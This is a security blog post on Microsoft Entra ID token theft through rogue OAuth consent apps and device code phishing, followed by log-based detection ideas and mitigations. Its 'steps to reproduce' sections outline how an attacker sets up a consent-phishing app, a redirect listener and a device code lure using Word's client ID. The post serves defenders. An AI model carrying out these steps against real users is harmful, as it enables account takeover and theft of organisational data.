In today’s cloud-first environments, access tokens have become the new keys to the kingdom. Attackers no longer need passwords or multifactor authentication (MFA) codes to compromise an environment. A single valid access token can grant broad and often silent access to critical cloud resources, making detection and containment significantly more challenging.
Introduction to Malware Binary Triage (IMBT) Course
Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.
Enroll Now and Save 10%: Coupon Code MWNEWS10
Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.
Global Services and Security Research
Microsoft Entra ID, the identity backbone of Microsoft’s cloud ecosystem, is increasingly targeted through techniques like Device Code Phishing and OAuth application abuse. These methods allow attackers to exploit legitimate sign-in flows to steal authentication tokens, often without needing passwords or triggering MFA.
This blog focuses specifically on Entra ID token abuse: how adversaries steal access tokens, how defenders can detect suspicious behavior, and what practical steps organizations can take to strengthen their Entra ID defenses against these evolving threats.
Background
The growing shift to cloud-based infrastructure has made identity the new perimeter, and access tokens the most targeted asset within it. Rather than stealing passwords or bypassing MFA, adversaries now focus on abusing OAuth-based authentication flows to obtain access tokens—credentials issued by identity providers (like Microsoft Entra ID) that allow users and apps to access cloud services without re-entering credentials.
Unlike traditional credentials, access tokens are short-lived but powerful, often granting broad and silent access to resources such as Microsoft 365, Graph API, and other SaaS or IaaS environments. These tokens can be reused by attackers without triggering new authentication prompts, making them ideal for stealthy, persistent access.
This evolving threat is now formally recognized in threat modeling frameworks. With the release of MITRE ATT&CK v17, OAuth token abuse has been explicitly added to reflect its growing prevalence in real-world attacks. These updates underscore a critical shift: token-based intrusions are no longer edge cases. They're central to modern cloud attack campaigns, enabling adversaries to bypass detection mechanisms and access victim environments without ever compromising a password.
Phishing for tokens
Adversaries no longer need to steal credentials. They exploit trusted authentication flows to obtain access tokens directly. This is often achieved through phishing campaigns delivered via email, messaging apps, or social media, where users are tricked into interacting with malicious OAuth applications or completing a Device Code Flow under attacker control.
In OAuth abuse, victims are lured into consenting to rogue applications that request excessive or misleading permissions. Once consent is granted, the application receives an access token scoped to the granted permissions. In device code phishing, the attacker initiates a legitimate Device Code Flow and presents the user with a code and URL. When the user unknowingly enters the code at Microsoft's login portal and completes authentication, the attacker, who has been polling the token endpoint, receives an access token tied to the victim’s session.
These techniques abuse legitimate Microsoft Entra ID flows, making them difficult to detect. Once issued, a valid access token grants the attacker seamless, authenticated access to cloud resources—without prompting for credentials or MFA—until the token is revoked or expires.
In a recent research published by Volexity, adversaries used a Visual Studio-themed social engineering technique to trick victims into signing into their Microsoft 365 accounts. It’s critical to emphasize that this attack does not involve fake login portals — the authentication happens entirely on Microsoft’s legitimate infrastructure. The attacker initiates a device code flow and delivers the code to the victim. Once the victim enters the code on the legitimate Microsoft login page and authenticates into their account, the attacker can request a valid access token tied to the victim’s session.
This method is highly adaptable. While Volexity documented it with a Visual Studio lure, attackers can tailor the social engineering around any theme — productivity tools, HR systems, or video meetings, etc. Social engineering is only a wrapper; the exploitation lies in abusing the trust in the real Microsoft login flow.
Microsoft’s threat intelligence report on Storm-2372 demonstrates this flexibility further. In this case, adversaries initiated contact through third-party messaging apps (such as WhatsApp or Signal), impersonating a trusted or authoritative individual relevant to the target. After building trust, they followed up with phishing emails containing fake invitations to meetings or events. These lures prompted the victim to enter a device code as part of a fabricated authentication process.
Rogue OAuth applications
In this technique, attackers register malicious applications in their Entra ID tenant, designed to mimic legitimate applications or services. These apps use Microsoft’s OAuth 2.0 flow to request user consent for broad permissions (scopes), such as access to email, files, calendars, Teams chats, or other management APIs.
Victims are tricked into granting consent through phishing emails or deceptive integration prompts. Once approved, the attacker receives access tokens with the granted scopes, enabling persistent, passwordless access to the victim’s data without further user interaction or MFA.
How OAuth phishing works
The underlying mechanism behind OAuth phishing is deceptively simple yet powerful. It begins with the attacker registering a multi-tenant application in Microsoft Entra ID (Azure AD). This means the application is configured to accept sign-ins from users in any Entra ID tenant.
Once registered, the attacker configures key application settings such as:
-
Redirect URI: The URL the user is sent to after successful authentication.
-
Supported account types: Set to allow accounts in any organizational directory.
-
Permission scopes: Define which permissions the app will request during consent. These can be for Microsoft Graph, custom APIs, or other services.
With the malicious app in place, the attacker crafts a phishing link pointing to Microsoft’s legitimate OAuth 2.0 authorization endpoint. This URL includes:
-
The attacker's client ID.
-
The redirect URI.
-
A list of scopes the app is requesting.
-
Optionally, a prompt for user consent.
When the user opens the malicious link, they are directed to Microsoft's legitimate login page. After signing in, a consent screen appears, prompting them to approve the permissions requested by the attacker’s application.
If the user grants consent, Microsoft redirects the browser to the attacker-controlled redirect URI, including a refresh token in the response. This refresh token is scoped with the permissions approved by the victim and can be used to obtain access tokens. With the access token, the attacker can make authenticated API calls, such as to Microsoft Graph or other Entra ID resources, on behalf of the user, without requiring their credentials again.
Steps to reproduce the technique
Register a malicious OAuth application
Begin by registering an application in Microsoft Entra ID
Configure the redirect URI
Navigate to the Authentication section of your registered app and add a redirect URI. This is the endpoint where Microsoft will send the authorization code after the victim logs in and grants consent.
Examples:
-
For localhost testing:
http://localhost:8000/path -
For remote phishing setups:
https://youtestdomain.com/path
Craft the malicious authorization URL
You’ll now build an authorization URL that looks like a legitimate Microsoft login prompt. This is what the victim will be tricked into clicking.
Set up a listener to capture the authorization code
Since we’ve already crafted a malicious URL that initiates the OAuth login and configured the redirect_uri in our application (as described in Step 2), we must ensure that a listener is running at the redirect address. This listener will intercept and capture the incoming request from Microsoft once the victim completes authentication and grants consent.
The request will contain the authorization code, which can be extracted by the listener and later exchanged for access and refresh tokens.
Trick the user into logging in
Present the user with the crafted Microsoft login URL (discussed earlier). This link looks like a legitimate authentication prompt and leads the victim to Microsoft's real login page. Once they authenticate and approve the app, Microsoft redirects them to your malicious redirect_uri.
Retrieve the token
After the user grants consent and is redirected, your listener application will extract the authorization code from the incoming request.
The refresh token can then be used to obtain new access tokens, allowing continued access to Azure resources without requiring the user to re-authenticate, as long as the token remains valid.
Device code phishing
In this method, the adversary initiates an OAuth Device Code flow — a mechanism originally designed for devices with limited input capability — and tricks the user into entering a generated code on Microsoft’s legitimate authentication page. Once the user completes the authentication, the attacker receives a valid access token tied to the victim’s session.
Attackers favor this technique because it bypasses multiple layers of user and administrative defenses. Unlike standard OAuth phishing, the victim does not see or approve a detailed list of requested permission scopes, significantly lowering the likelihood of consent denial due to suspicion. Furthermore, since the authentication occurs on a legitimate Microsoft domain, it removes phishing suspicion from users.
Importantly, Device Code Phishing sidesteps those restrictions even in environments where administrators have configured policies to prevent users from granting consent to unverified or third-party applications, making this a preferred technique for threat actors.
Steps to reproduce the technique
Unlike OAuth application phishing, which typically involves crafting a consent page with carefully scoped permissions, Device Code Phishing is much more straightforward. It leverages Microsoft’s legitimate device authorization flow to generate an authentication session that the attacker can hand off to the victim.
Craft the device authorization request
To begin, the attacker sends a POST request to Microsoft’s device code endpoint. This request initiates the device authorization process and returns a unique device code, user code, and a verification URL.
-
client_id: Identifies the application requesting the token. In this case, we use Microsoft's first-party Office client ID for Word:d3590ed6-52b3-4102-aeff-aad2292ab01c -
resource: Specifies the target API we want access to — here, Microsoft Graph.
What happens in this step
-
This request is unauthenticated — anyone can generate a device code session.
-
The response contains:
-
device_code: Used by the app (or attacker) to poll for a token. -
user_code: A short code that the user must enter manually. -
verification_url: Usually,https://microsoft.com/devicelogin, where the victim will input the code. -
expires_in: Session timeout (usually 900 seconds). -
interval: Recommended polling frequency (usually 5 seconds).
-
Understanding the endpoint and tenant context
The request is sent to:
The /common path means:
-
The request is tenant-neutral, accepting users from any Entra ID tenant.
Social engineering and token retrieval
Once the device code session is initiated, the attacker’s primary task becomes tricking the victim into completing the authentication process. This is typically done through social engineering.
The adversary sends the victim a phishing message — often themed around a trusted Microsoft service, such as Microsoft Word — and includes a link to https://microsoft.com/devicelogin along with the user code provided by the device authorization response. Since the victim sees a legitimate Microsoft login page and a familiar application name (due to the use of Microsoft Word’s client ID), suspicion is minimal.
Token retrieval via polling
While the victim is completing the login process, the attacker is actively polling the token endpoint using the previously issued device code.
What the victim sees vs what the attacker gets
From the victim's perspective, they are simply logging into Microsoft Word (or any themed service the attacker chose). The process seems legitimate, and after authentication, no immediate sign of compromise is visible — they may even see a success message or be redirected to a blank page.
However, behind the scenes, the attacker’s polling loop has successfully captured the access token. This token now allows the attacker to impersonate the victim and access Microsoft Graph API endpoints, such as email, OneDrive, Teams, calendar, or other organizational data, depending on the scopes granted.
Detection
Having analyzed how the techniques operate, we can now focus on crafting detection mechanisms by interpreting the associated behaviors and indicators. While direct detection of the techniques themselves may not always be feasible, we can monitor specific traces, such as events related to user consent grants and anomalous sign-in attempts, that may indicate malicious activity.
Required log sources:
To build accurate detections, ensure access to the following log sources:
-
Microsoft Entra ID Sign-In Logs
-
Microsoft 365 Unified Audit Logs (UAL)
Detecting OAuth phishing login attempts
In OAuth-based attacks, adversaries abuse Microsoft’s OAuth service to deceive victims into signing into malicious applications. One effective way to spot such attempts is by monitoring the target_application field for unexpected or unauthorized applications. Another important indicator is the request_type field, which contains the value Consent:Set—a strong sign that a user is granting permissions. Additionally, the extended_properties field offers crucial details, especially about redirection behavior after login. If a user is being redirected to an external or unfamiliar domain, it could suggest that the attacker is attempting to intercept tokens or session data through a listener hosted on that site.
Entra ID suspicious permission granted to application
After identifying successful login attempts to potentially malicious applications, the next step is to detect whether any suspicious permissions were granted to those applications. This can help uncover cases where an attacker’s app has gained access to sensitive data or functionalities. The following query only filters those events where high-risk or “interesting” permissions, such as those involving mailbox access, directory read/write, or user impersonation, have been granted.
Detecting device code logins
However, there are alternative indicators that we can use. One approach is to filter for events where users are attempting to log in to the Microsoft Graph application, commonly targeted in device code and cross-platform login scenarios. Additionally, a notable pattern is the presence of the value cmsi:cmsi in the request_type field. While the exact meaning of this value is not officially documented, it has been referenced in blog posts as an indicator associated with device code or similar cross-platform login flows.
If Entra ID sign-in logs are being forwarded through Azure Log Analytics, it becomes possible to detect device code sign-ins more reliably. The following query can be used to identify such events:
Recommendation
To reduce the risk of unauthorized access and OAuth phishing, especially involving device code flow, it’s essential to implement security best practices that strengthen your identity protection posture:
Configure conditional access policies
-
Block the device code flow: Restrict or block the use of the device code flow for standard users unless explicitly required. This prevents token-based access attempts from unmanaged or potentially compromised devices.
-
Restrict access by location: Create Conditional Access policies that allow authentication only from trusted IP addresses or geographic regions. Whitelisting known and trusted locations reduces the attack surface for remote token misuse.
Enable Continuous Access Evaluation (CAE)
-
Continuous Access Evaluation (CAE) allows Microsoft Entra ID to re-evaluate active sessions against Conditional Access policies in near real time when certain events occur, such as changes in user location, IP address, or risk level. Instead of waiting for token expiry, CAE triggers immediate policy checks during token use, enabling the system to block or revoke access mid-session. This helps limit the effectiveness of token theft by ensuring stolen tokens can't be reused under risky or unauthorized conditions, significantly reducing the attack window.
Enable the admin consent workflow
-
Implementing the admin consent workflow helps prevent end users from granting access to third-party or potentially malicious applications. By requiring administrator approval before any application is granted permissions, organizations gain an additional layer of control. While this doesn't completely eliminate the risk of malicious permission grants, it allows administrators to thoroughly review each request, making more informed decisions and reducing the likelihood of unintended exposure.
User training and awareness
-
Regular user training and awareness programs are essential to strengthening the organization's security posture. By educating users on the latest phishing techniques and social engineering tactics, they become more vigilant and less likely to fall victim to such attacks. Continuous awareness initiatives significantly reduce the likelihood of successful compromises and help build a security-conscious culture across the organization.
Logging and monitoring
-
Enable and actively monitor audit logs across Microsoft services, including Entra ID and Microsoft Purview Audit. Focus on critical events such as sign-ins, permission grants, role changes, and app consent activity. Use advanced logging (e.g., Audit Premium) where possible, and integrate logs with a SIEM for real-time detection of anomalies and threats.
The post Tricked by trust: How OAuth and device code flows get abused appeared first on Logpoint.
Article Link: Tricked by trust: How OAuth and device code flows get abused